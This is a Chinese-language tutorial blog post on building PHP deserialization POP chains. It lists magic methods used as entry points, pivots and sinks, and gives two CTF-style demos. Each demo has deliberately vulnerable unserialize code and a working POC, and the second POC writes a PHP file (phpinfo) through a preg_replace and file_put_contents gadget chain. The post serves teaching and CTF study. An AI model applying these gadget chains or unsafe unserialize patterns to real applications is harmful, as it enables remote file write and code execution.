PHP反序列化之POP链构造

最近都在学Java,发现Java分析都是以反序列化为主。蓦然回首发现自己还没有填之前ThinkPHP反序列化利用链的坑。为了回顾和进一步深入,先来一次POP链的小结。

知识回顾

挖掘暗藏ThinkPHP中的反序列利用链 一文中总结的挺好了。

方法名 调用条件
__call 调用不可访问或不存在的方法时被调用
__callStatic 调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct 构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct 明确销毁对象或脚本结束时被调用;
__get 读取不可访问或不存在属性时被调用
__invoke 当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set 当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString 当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作
  • 反序列化的常见起点
    • __wakeup 一定会调用
    • __destruct 一定会调用
    • __toString 当一个对象被反序列化后又被当做字符串使用
  • 反序列化的常见中间跳板:
    • __toString 当一个对象被当做字符串使用
    • __get 读取不可访问或不存在属性时被调用
    • __set 当给不可访问或不存在属性赋值时被调用
    • __isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();
  • 反序列化的常见终点:
    • __call 调用不可访问或不存在的方法时被调用
    • call_user_func 一般php代码执行都会选择这里
    • call_user_func_array 一般php代码执行都会选择这里

主要还是三点:

  1. 起点
  2. 跳板
  3. 代码执行

个人感觉核心是实例化对象可附值给变量,从而调用 + 各类魔术方法

demo1

demo引用自 @twosmi1e 师傅 先知社区 里的代码:

<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>

从前往后跟 or 从后往前跟?

POC

<?php
class start_gg
{
public $mod1;
public $mod2;

public function __construct()
{
$this->mod1 = new Call();
}

public function __destruct()
{
$this->mod1->test1(); # 入口点,mod1可通过附值起跳。
}

}

class Call
{
public $mod1; # 实例化funct
public $mod2; # 无它什么事

# 继续起跳,瞻前顾后,思考下面的 $this->mod1->test2();会在何处被什么利用
public function __construct()
{
$this->mod1 = new funct();
}

public function test1()
{
$this->mod1->test2(); # 这里调 __call
}
}

class funct
{
public $mod1; # 实例化func
public $mod2; # 无它什么事

public function __construct()
{
$this->mod1 = new func();
}

public function __call($test2, $arr)
{
$s1 = $this->mod1;
$s1(); # 这里触发 __invoke
}
}

class func
{
public $mod1; # 实例化string1
public $mod2; # __invoke对其附值,其实是为了调 __toString

public function __construct()
{
$this->mod1 = new string1();
}

public function __invoke()
{
$this->mod2 = "字符串拼接" . $this->mod1; # 这里若拼接则会触发 __toString
}
}
class string1
{
public $str1; # 实例化 GetFlag
public $str2;

public function __construct()
{
$this->str1 = new GetFlag();
}

public function __toString()
{
$this->str1->get_flag(); #调用此处即可getflag,难点:需调用 __toString
return "1";
}
}

class GetFlag
{
public function get_flag()
{
echo "flag:" . "xxxxxxxxxxxx";
}
}
$payload = new start_gg();
echo urlencode(serialize($payload));
?>

demo2

demo引用自 @l3mon师傅 blog 里的代码:

<?php

class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};

class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
}
};

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};

class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};

class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};

class Porter {
static function exportData($lyrics) {
return base64_encode(serialize($lyrics));
}
static function importData($lyrics) {
return serialize(base64_decode($lyrics));
}
};

class Conn {
protected $conn;
function __construct($dbuser, $dbpass, $db) {
$this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
}

function getLyrics($lyrics) {
$r = array();
foreach ($lyrics as $lyric) {
$s = intval($lyric);
$result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
while (($row = $result->fetch_row()) != NULL) {
$r []= unserialize(base64_decode($row[0]));
}
}
return $r;
}

function addLyrics($lyrics) {
$ids = array();
foreach ($lyrics as $lyric) {
$this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
$res = $this->conn->query("SELECT MAX(id) FROM lyrics");
$id= $res->fetch_row(); $ids[]= intval($id[0]);
}
echo var_dump($ids);
return $ids;
}

function __destruct() {
$this->conn->close();
$this->conn = NULL;
}
};
unserialize($_GET['cmd']);

反序列化函数 + 可控参数 == 控制当前作用域下对象

class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};

自定义 $song 值 + __destruct == 调用当前作用域下 log方法

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};

论两个 log 方法的选择

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};

class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}

LogWriter_File::writeLog($txt) 的写入文件

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
}
};

LogFileFormat::format

class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};

OutputFilter::filter 自定义 preg_replace 内容

class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};

preg_replacestr_replace 的区别

final POC

<?php

class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct() {
$this->matchPattern = "//";
$this->replacement = "<?php phpinfo();?>";
}
}

class LogFileFormat {
protected $filters;
protected $endl;
function __construct() {
$this->filters = array(new OutputFilter()); # foreach ($this->filters as $filter)
$this->endl = '\n';
}
}

class LogWriter_File {
protected $filename;
protected $format;

function __construct() {
$this->filename = "info.php";
$this->format = new LogFileFormat();
}
}

class Logger {
protected $logwriter;

function __construct() {
$this->logwriter = new LogWriter_File();
}
}


class Lyrics {
protected $lyrics;
protected $song;

function __construct() {
$this->lyrics = '1';
$this->song = new Logger();
}
}


$payload = new Lyrics();
print_r(urlencode(serialize($payload)));
?>

ThinkPHP 利用链

待更新…

Laravel 利用链

待更新…

Joomla利用链

待更新…